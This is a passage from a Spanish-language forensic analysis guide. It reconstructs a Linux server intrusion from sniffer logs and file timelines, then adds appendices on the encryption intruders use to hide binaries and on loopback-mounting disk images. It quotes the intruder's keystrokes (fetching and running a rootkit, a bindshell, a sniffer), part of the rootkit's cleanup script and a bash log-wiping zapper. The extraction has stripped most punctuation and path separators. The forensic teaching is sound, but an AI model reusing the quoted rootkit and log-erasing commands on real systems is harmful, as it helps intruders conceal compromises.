IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

